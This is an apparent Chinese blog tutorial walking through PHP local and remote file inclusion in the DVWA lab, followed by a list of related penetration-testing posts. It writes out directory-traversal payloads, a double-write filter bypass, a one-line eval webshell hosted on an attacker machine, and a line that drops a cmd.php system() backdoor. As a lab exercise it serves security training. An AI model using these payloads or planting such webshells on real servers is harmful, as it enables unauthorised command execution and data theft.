文件包含漏洞

1、文件包含漏洞简介

当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含:服务器的php配置中,allow_url_include启用(on)

(2)远程文件包含:服务器的php配置中,allow_url_fopen和allow_url_include启用(on)

2、【DVWA】之文件包含

未启用allow_url_include函数,初次进入报错

在设置中找到对应版本,将其中allow_url_include打开,重启

报错消失

Low

查看源代码

无任何防护

点击file1.php。

图中file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

1、本地文件包含

通过修改参数尝试获取当前目录其他文件

通过修改参数尝试获取其他目录下的其他文件 ,不在根目录下,有两种方法:

①绝对路径

?page=E:/software/test1.txt

②相对路径

?page=../../../../../../../test1.txt

注:一个../就是跳出一级目录到上一级目录下,具体有多少../可以通过已有的

信息算,或者一个一个摸索。

2、远程文件包含

当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。

在kali中www下创建两个文件,并开启apache服务

systemctl start apache2

cd /var/www/html

vim test.txt

hello~~~

vim test2.txt
<?php

@eval($_POST['cmd']);

echo '123';

?>

注: 服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

通过远程文件包含加载攻击者主机上的恶意代码

1.创建包含恶意攻击的代码文件

<?php echo file_put_contents("cmd.php","<?=system($_GET["cmd"]);?>');?>

//创建一个包含恶意命令执行逻辑的文件,属于典型的 Web 后门(Webshell)生成代码

//当这段 PHP 代码被执行后,会在当前目录下创建一个名为 cmd.php 的文件,该文件包含上述恶意命令执行逻辑。攻击者一旦成功执行这段代码,就能通过访问 cmd.php 并传入cmd参数,远程控制服务器(如查看文件、删除数据、反弹 shell 等)。

访问成功后,查看根目录

包含恶意代码的cmd.txt和shell.txt文本已经通过客户端访问植入到了客户端里,此时我们就可以利用植入的恶意代码进行一些操作。

cmd利用:
shell利用:

打开蚁剑

Medium

查看源码,str_replace()函数对"http://"、"https://"、"../"、"..\"进行了过滤删除。

那么我们可以访问绝对路径

?page=E:/test.txt

也可以使用双写绕过:

?page=hhttp://ttp://www.baidu.com

利用:

shell的利用和low一样

High

查看源码,使用fnmatch()函数对page参数进行过滤,要求page必须以"file"开头,服务器才会包含相应的文件

  • 验证规则
    • fnmatch("file*", $file):检查文件名是否以file开头(如file1.phpfile2.txt)。
    • $file != "include.php":允许直接访问include.php文件。
  • 目的 :只允许访问以file开头的文件或include.php,防止访问其他敏感文件(如配置文件、数据库等)

file协议:本地文件传输协议,主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。

相关推荐
交个_朋友12 小时前
HTB TartarSauce writeup(信息收集不遗漏,脚本漏洞能利用)
渗透测试·oscp·htb
ShoreKiten4 天前
DC-3靶机渗透--CTFer从0到1的进阶之路
安全·网络安全·渗透测试
Sombra_Olivia6 天前
Vulhub 中的 adminer CVE-2021-21311
安全·web安全·网络安全·渗透测试·vulhub
vortex57 天前
文件上传漏洞绕过技术总结(含实操指南与防御方案)
linux·服务器·网络安全·渗透测试
Atomic121387 天前
隧道搭建之端口复用
web安全·网络安全·渗透测试
vortex58 天前
evil-winrm 与 evil-winrm-py 使用指南
网络安全·渗透测试·kali
白帽子黑客-宝哥9 天前
渗透测试“保姆级”实战成长手册
开发语言·网络安全·渗透测试·php
Atomic1213810 天前
frp 内网穿透工具详细使用指南
web安全·网络安全·渗透测试
白帽子凯哥哥10 天前
大一想打CTF,稍微学了些web想转pwn零基础要如何学习
学习·渗透测试·web·pwn·ctf
白帽子凯哥哥10 天前
普通二本计算机专业现在大一,下学期就要分流了选什么专业合适呢?需要自主再学习吗?然后要参加竞赛吗?
web安全·渗透测试·大学生·ctf比赛·网络安全大赛